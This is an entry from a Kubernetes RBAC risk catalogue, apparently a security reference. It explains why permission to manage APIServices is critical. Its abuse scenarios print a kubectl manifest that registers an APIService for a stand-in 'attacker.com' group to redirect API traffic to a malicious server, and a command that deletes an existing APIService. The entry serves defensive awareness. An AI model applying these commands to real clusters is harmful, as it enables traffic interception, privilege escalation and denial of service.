Manage APIServices :: RBAC ATLAS

Overview

Field	Value
ID	1046
Name	Manage APIServices
Risk Category	Tampering
Risk Level	Critical
Role Type	ClusterRole
API Groups	apiregistration.k8s.io
Resources	apiservices
Verbs	create, update, patch, delete
Tags	APIServiceManipulation DenialOfService InformationDisclosure PrivilegeEscalation Tampering

Description

Grants control over APIServices, which register aggregated API servers. This is highly critical as an attacker can redirect API requests to a malicious server, intercept traffic, escalate privileges, cause denial of service, or exfiltrate information.

Abuse Scenarios

Create a new APIService to redirect API calls to a malicious server.

kubectl create -f - <<EOF
apiVersion: apiregistration.k8s.io/v1
kind: APIService
metadata:
  name: v1alpha1.attacker.com
spec:
  service:
    name: <malicious-service-name>
    namespace: <malicious-service-namespace>
  group: attacker.com
  version: v1alpha1
  caBundle: <base64-encoded-ca-cert> # CA for the malicious service
  groupPriorityMinimum: 2000 # Higher than core APIs
  versionPriority: 200
EOF
# Example: kubectl create -f - <<EOF ... EOF

Delete an existing APIService, disrupting aggregated API functionality.

kubectl delete apiservice <apiservice-name>
# Example: kubectl delete apiservice v1beta1.metrics.k8s.io